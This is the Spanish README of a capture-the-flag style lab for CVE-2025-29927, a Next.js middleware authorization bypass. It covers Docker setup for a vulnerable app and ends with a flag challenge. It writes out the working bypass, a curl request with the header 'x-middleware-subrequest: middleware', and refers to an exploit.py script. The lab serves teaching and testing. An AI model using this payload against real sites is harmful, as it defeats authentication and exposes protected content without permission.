CVE-2025-29927 - Bypass de Autorización del Middleware de Next.js (PoC)

Este es un PoC estilo Capture The Flag (CTF) para la vulnerabilidad de Bypass de Autorización del Middleware de Next.js (CVE-2025-29927). El objetivo es evadir el middleware de autenticación y recuperar la bandera de la ruta /protected.

Resumen de la Vulnerabilidad

• CVE: CVE-2025-29927
• Tipo: Bypass de Autorización
• Componente: Middleware de Next.js
• Impacto: Acceso no autorizado a rutas protegidas
• Ruta Objetivo del PoC: /protected
• Comportamiento Esperado: Los usuarios no autorizados son redirigidos a /
• Comportamiento Vulnerable: El uso de una solicitud manipulada permite evadir la redirección y acceder directamente al contenido protegido

Configuración del PoC

1. Clonar el Repositorio

git clone https://github.com/mhamzakhattak/CVE-2025-29927
cd CVE-2025-29927
cd nextjs-docker

2. Compilar y Ejecutar la Aplicación Vulnerable

sudo docker build -t nextjs-auth-app .
sudo docker run -p 3000:3000 nextjs-auth-app

Esto iniciará la aplicación Next.js vulnerable en http://IP:3000

Explotación

1. Sin Explotación

Intenta acceder:

curl -i http://IP:3000/protected

Serás redirigido a /.

 curl -H "x-middleware-subrequest: middleware" http://IP:3000/protected

2. Con Explotación

Usa el exploit.py proporcionado para evadir el middleware y acceder a la ruta protegida:

python3 exploit.py -url http://IP:3000

Si tiene éxito, recuperarás la bandera de /protected.

Archivos

• Dockerfile - Compila la aplicación Next.js vulnerable
• exploit.py - Explota la vulnerabilidad para evadir la autenticación
• pages/ - Contiene las rutas vulnerables /protected y /login
• middleware.js - La lógica vulnerable del middleware
• README.md - Este archivo

Aviso Legal

Este PoC es solo con fines educativos y de investigación. No lo uses contra sistemas que no poseas o para los cuales no tengas permiso explícito de prueba.

🏁 Bandera

Encuentra la bandera explotando la vulnerabilidad y accediendo a:

http://IP:3000/protected

¡Buena suerte! 🏴‍☠️